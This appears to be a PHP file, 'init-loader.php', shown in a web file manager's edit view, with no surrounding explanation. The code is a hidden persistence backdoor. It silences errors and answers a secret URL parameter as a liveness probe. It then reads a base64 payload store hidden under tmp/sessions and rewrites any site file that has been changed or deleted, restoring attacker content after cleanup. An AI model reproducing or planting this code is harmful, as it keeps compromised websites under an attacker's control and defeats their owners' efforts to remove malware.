관리-도구
편집 파일: init-loader.php
<?php @error_reporting(0); @ini_set('display_errors', 0); if (isset($_GET['_ck_dapov31'])) { echo '1'; exit; } $myDir = dirname(__FILE__); $rootHop = '../../..'; $siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop; $backupFile = $siteRoot . '/tmp/sessions/data/cb7a9bde4009a9df4fbf2f0d498af16f.dat'; if (!@file_exists($backupFile)) { http_response_code(404); echo '0'; exit; } $json = @file_get_contents($backupFile); if (!$json) { echo '0'; exit; } $backup = @json_decode($json, true); if (!$backup || !isset($backup['files'])) { echo '0'; exit; } $restored = 0; foreach ($backup['files'] as $file => $data) { $path = $siteRoot . '/' . $file; if (!file_exists($path) || md5_file($path) !== $data['md5']) { $content = base64_decode($data['content']); if (@file_put_contents($path, $content) !== false) { $restored++; } } } echo '1'; ?>